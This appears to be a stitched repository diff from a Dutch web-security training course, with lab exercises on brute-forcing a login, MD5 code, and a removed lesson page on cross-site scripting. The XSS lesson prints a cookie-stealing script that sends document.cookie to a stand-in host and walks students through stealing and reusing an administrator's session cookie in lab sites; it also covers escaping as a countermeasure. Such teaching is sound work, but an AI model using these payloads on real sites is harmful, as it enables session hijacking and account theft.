<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
tabel inzien.</p>
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers
een veelgebruikt wachtwoord.</p>
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
<div class="question">
<span class="question-string">Wat is het wachtwoord van Pete?</span>
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
</div>
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
site wordt feestelijk weer geopend.</p>
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een
kort fragment van een logbestand terugvinden:</p>
<code class="center-block">
...<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br>
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br>
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br>
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
</code>
<div class="question">
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval
te voorkomen.</span>
</div>
<img src="/static/img/password2.jpg" class="center-block">
<script>
function utf8_encode(argString) {
// discuss at: http://phpjs.org/functions/utf8_encode/
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// improved by: sowberry
// improved by: Jack
// improved by: Yves Sucaet
// improved by: kirilloid
// bugfixed by: Onno Marsman
// bugfixed by: Onno Marsman
// bugfixed by: Ulrich
// bugfixed by: Rafal Kukawski
// bugfixed by: kirilloid
// example 1: utf8_encode('Kevin van Zonneveld');
// returns 1: 'Kevin van Zonneveld'
if (argString === null || typeof argString === 'undefined') {
return '';
}
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
var string = (argString + '');
var utftext = '',
start, end, stringl = 0;
start = end = 0;
stringl = string.length;
for (var n = 0; n < stringl; n++) {
var c1 = string.charCodeAt(n);
var enc = null;
if (c1 < 128) {
end++;
} else if (c1 > 127 && c1 < 2048) {
enc = String.fromCharCode(
(c1 >> 6) | 192, (c1 & 63) | 128
);
} else if ((c1 & 0xF800) != 0xD800) {
enc = String.fromCharCode(
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
);
} else {
// surrogate pairs
if ((c1 & 0xFC00) != 0xD800) {
throw new RangeError('Unmatched trail surrogate at ' + n);
}
var c2 = string.charCodeAt(++n);
if ((c2 & 0xFC00) != 0xDC00) {
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
}
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
enc = String.fromCharCode(
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
);
}
if (enc !== null) {
if (end > start) {
utftext += string.slice(start, end);
}
utftext += enc;
start = end = n + 1;
}
}
if (end > start) {
utftext += string.slice(start, stringl);
}
return utftext;
}
function md5(str) {
// discuss at: http://phpjs.org/functions/md5/
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Michael White (http://getsprink.com)
// improved by: Jack
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// input by: Brett Zamir (http://brett-zamir.me)
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// depends on: utf8_encode
// example 1: md5('Kevin van Zonneveld');
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
var xl;
var rotateLeft = function (lValue, iShiftBits) {
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
};
var addUnsigned = function (lX, lY) {
var lX4, lY4, lX8, lY8, lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
};
var _F = function (x, y, z) {
return (x & y) | ((~x) & z);
};
var _G = function (x, y, z) {
return (x & z) | (y & (~z));
};
var _H = function (x, y, z) {
return (x ^ y ^ z);
};
var _I = function (x, y, z) {
return (y ^ (x | (~z)));
};
var _FF = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _GG = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _HH = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _II = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var convertToWordArray = function (str) {
var lWordCount;
var lMessageLength = str.length;
var lNumberOfWords_temp1 = lMessageLength + 8;
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
var lWordArray = new Array(lNumberOfWords - 1);
var lBytePosition = 0;
var lByteCount = 0;
while (lByteCount < lMessageLength) {
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
return lWordArray;
};
var wordToHex = function (lValue) {
var wordToHexValue = '',
wordToHexValue_temp = '',
lByte, lCount;
for (lCount = 0; lCount <= 3; lCount++) {
lByte = (lValue >>> (lCount * 8)) & 255;
wordToHexValue_temp = '0' + lByte.toString(16);
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
}
return wordToHexValue;
};
var x = [],
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
S12 = 12,
S13 = 17,
S14 = 22,
S21 = 5,
S22 = 9,
S23 = 14,
S24 = 20,
S31 = 4,
S32 = 11,
S33 = 16,
S34 = 23,
S41 = 6,
S42 = 10,
S43 = 15,
S44 = 21;
str = this.utf8_encode(str);
x = convertToWordArray(str);
a = 0x67452301;
b = 0xEFCDAB89;
c = 0x98BADCFE;
d = 0x10325476;
xl = x.length;
for (k = 0; k < xl; k += 16) {
AA = a;
BB = b;
CC = c;
DD = d;
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
a = addUnsigned(a, AA);
b = addUnsigned(b, BB);
c = addUnsigned(c, CC);
d = addUnsigned(d, DD);
}
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
return temp.toLowerCase();
}
</script>

@ -0,0 +1,10 @@
import os, sys
path = os.path.dirname(os.path.abspath(__file__))
if path not in sys.path:
sys.path.append(path)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings")
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()

@ -1,244 +0,0 @@
<style>
.screenshot {
box-shadow: 0 0 15px #888;
}
figure {
float: right;
width: 30%;
}
figure img {}
figcaption {
margin-top: 10px;
font-size: smaller;
color: gray;
text-align: center;
}
</style>
<h1>Cross-site Scripting</h1>
<figure>
<img src="/static/img/rabobank.png" class="screenshot">
<figcaption>Iemand heeft
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
</figure>
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt;
tag kan toevoegen is er sprake van een XSS aanval.</p>
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
<h3>Reflected</h3>
<figure>
<img class="screenshot" src="/static/img/zoekterm.png">
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
</figure>
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
op de webpagina zelf.</p>
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
The perfect crime!</p>
<h3>Stored</h3>
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
<h3>Aanvallen</h3>
<h4>HTML toevoegen</h4>
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
<h4>Javascript toevoegen</h4>
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
<p>
<code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code>
</p>
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
<h3>Countermeasures</h3>
<p>De belangrijkste regel bij websecurity is:
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
je weer weergeeft op de pagina te
<b>escapen</b>.</p>
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
<code>&quot;</code> wordt dan bijvoorbeeld
<code>&amp;quot;</code> en
<code>&lt;</code> wordt
<code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
<code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code>
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
bepaalde waarde te zetten.</p>
<h1>Opdrachten</h1>
<h2>Bank</h2>
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
nog steeds niet veilig van hun beveiligingsproblemen.</p>
<p>Ga naar de
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
</p>
<div class="question">
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
</div>
<div class="question">
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
server gestuurd.</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
</div>
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
<p class="hint">
<strong>Hint:</strong> Zoek eens naar
<code>window.history.pushState</code>.</p>
<div class="question">
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
komt te staan.</span>
</div>
<h2>Webshop</h2>
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
<span class="website">"Webshop (replace)"</span>.</p>
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
<p class="hint">
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
<p class="hint">
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
<p class="hint">
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
<p class="hint">
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
<p class="hint">
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
gebruiken moet je de url encoded versie gebruiken: %2B</p>
<div class="question">
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
</div>
<p class="hint">
<strong>Hint:</strong> Op
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
</p>
<div class="question">
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
Let goed op de quotejes.</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
PHP aanpassen (lees documentatie op
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
</div>
<h2>Nieuws</h2>
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
</p>
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
<div class="question">
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
</div>
<h2>Wereldwijs</h2>
<p>Ga naar de
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
<p>Let op: In Firefox werkt deze hack niet</p>
<p class="hint">
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
<p class="hint">
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;').
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
<div class="question">
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
</div>
Loading…
Cancel
Save